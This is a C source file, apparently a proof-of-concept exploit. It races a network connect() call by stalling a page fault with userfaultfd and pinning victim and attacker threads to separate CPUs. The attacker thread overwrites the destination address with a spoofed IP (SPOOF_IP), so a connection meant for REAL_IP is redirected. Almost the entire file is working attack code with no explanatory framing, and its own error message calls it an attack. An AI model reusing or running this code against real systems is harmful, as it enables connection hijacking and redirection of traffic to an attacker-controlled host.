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connect.c
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connect.c
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#include "include.h"
#include "config.h"
static volatile void write_ip_addr(struct sockaddr_in* serv_addr) {
struct hostent* server = gethostbyname(SPOOF_IP);
bcopy((char*)server->h_addr, (char*)&serv_addr->sin_addr.s_addr, server->h_length);
}
static void* fault_handler_thread(void* arg) {
static struct uffd_msg msg;
static int fault_cnt = 0;
long uffd;
static char* page = NULL;
struct uffdio_copy uffdio_copy;
ssize_t nread;
uffd = (long) arg;
set_affinity(VICTIM_CPU);
if (page == NULL) {
page = mmap(NULL, page_size, PROT_READ | PROT_WRITE,
MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
if (page == MAP_FAILED)
handle_error_en(page, "mmap");
}
for (;;) {
struct pollfd pollfd;
int nready;
pollfd.fd = uffd;
pollfd.events = POLLIN;
nready = poll(&pollfd, 1, -1);
if (nready == -1)
handle_error_en(nready, "poll");
nread = read(uffd, &msg, sizeof(msg));
if (nread == 0) {
printf("EOF on userfaultfd!\n");
exit(EXIT_FAILURE);
}
if (nread == -1)
handle_error_en(nread, "read");
if (msg.event != UFFD_EVENT_PAGEFAULT) {
fprintf(stderr, "Unexpected event on userfaultfd\n");
exit(EXIT_FAILURE);
}
uffdio_copy.src = (unsigned long) page;
uffdio_copy.dst = (unsigned long) msg.arg.pagefault.address & ~(page_size - 1);
uffdio_copy.len = page_size;
uffdio_copy.mode = 0;
uffdio_copy.copy = 0;
flush(page);
sender();
if (ioctl(uffd, UFFDIO_COPY, &uffdio_copy) == -1)
handle_error_en(-1, "ioctl-UFFDIO_COPY");
printf(" (uffdio_copy.copy returned %lld)\n", uffdio_copy.copy);
}
}
FORCE_INLINE int nanosleep_helper(long nsec) {
struct timespec req, rem;
req.tv_sec = 0;
req.tv_nsec = nsec;
ssize_t ret;
asm volatile
(
"syscall"
: "=a" (ret)
/* RDI RSI */
: "0"(__NR_nanosleep), "D"(&req), "S"(&rem)
: "rcx", "r11", "memory"
);
return ret;
}
static void* thread_start(void* arg) {
set_affinity(ATTACK_CPU);
receiver();
write_ip_addr(page);
flush(page);
int s = mprotect((void* )page, 4096, PROT_READ | PROT_WRITE | PROT_EXEC);
if (s != 0) {
handle_error_en(s, "mprotect");
}
return NULL;
}
void do_connect(struct sockaddr_in* serv_addr) {
int sockfd, portno, n;
struct hostent* server;
char buffer[4096];
char response[4096];
portno = 80;
sockfd = socket(AF_INET, SOCK_STREAM, 0);
if (sockfd < 0) {
perror("ERROR opening socket");
exit(1);
}
server = gethostbyname(REAL_IP);
if (server == NULL) {
fprintf(stderr,"ERROR, no such host\n");
exit(0);
}
bzero((char*) serv_addr, sizeof(*serv_addr));
serv_addr->sin_family = AF_INET;
bcopy((char*)server->h_addr, (char*)&serv_addr->sin_addr.s_addr, server->h_length);
serv_addr->sin_port = htons(portno);
printf("%d\n", serv_addr->sin_addr.s_addr);
if (connect(sockfd, (struct sockaddr*)serv_addr, sizeof(*serv_addr)) < 0) {
perror("****************** ERROR connecting: attack fail *********************");
exit(1);
}
sprintf(buffer, "GET / HTTP/1.1\r\nHost: %s\r\nConnection: close\r\n\r\n", REAL_IP);
n = write(sockfd, buffer, strlen(buffer));
if (n < 0) {
perror("ERROR writing to socket");
exit(1);
}
bzero(response, 4096);
while ((n = read(sockfd, response, 4095)) > 0) {
printf("%s", response);
bzero(response, 4096);
}
if (n < 0) {
perror("ERROR reading from socket");
exit(1);
}
}
int main(int argc, char** argv) {
int s;
pthread_attr_t attr;
pthread_t thread;
struct sched_param param;
int policy;
set_affinity(VICTIM_CPU);
page_size = sysconf(_SC_PAGE_SIZE);
page = mmap(NULL, page_size, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
if (page == MAP_FAILED)
handle_error_en(page, "mmap failure");
s = userfaultfd_setup(page, 1);
if (s < 0)
handle_error_en(s, "userfaultfd_setup error");
s = pthread_attr_init(&attr);
if (s != 0)
handle_error_en(s, "pthread_attr_init");
int priority = PRIORITY_MAIN;
param.sched_priority = priority;
policy = SCHED_IDLE;
s = pthread_setschedparam(pthread_self(), SCHED_IDLE, ¶m);
int inheritsched = PTHREAD_EXPLICIT_SCHED;
pthread_attr_setinheritsched(&attr, inheritsched);
if (s != 0)
handle_error_en(s, "pthread_attr_setinheritsched");
priority = PRIORITY_OVERWRITE;
policy = SCHED_RR;
set_child_scheduling(&attr, policy, priority);
s = pthread_create(&thread, NULL, &thread_start, NULL);
if (s != 0)
handle_error_en(s, "pthread_create");
nanosleep_helper(NANOSLEEP_TIME);
do_connect((struct sockaddr_in*)page);
exit(EXIT_SUCCESS);
}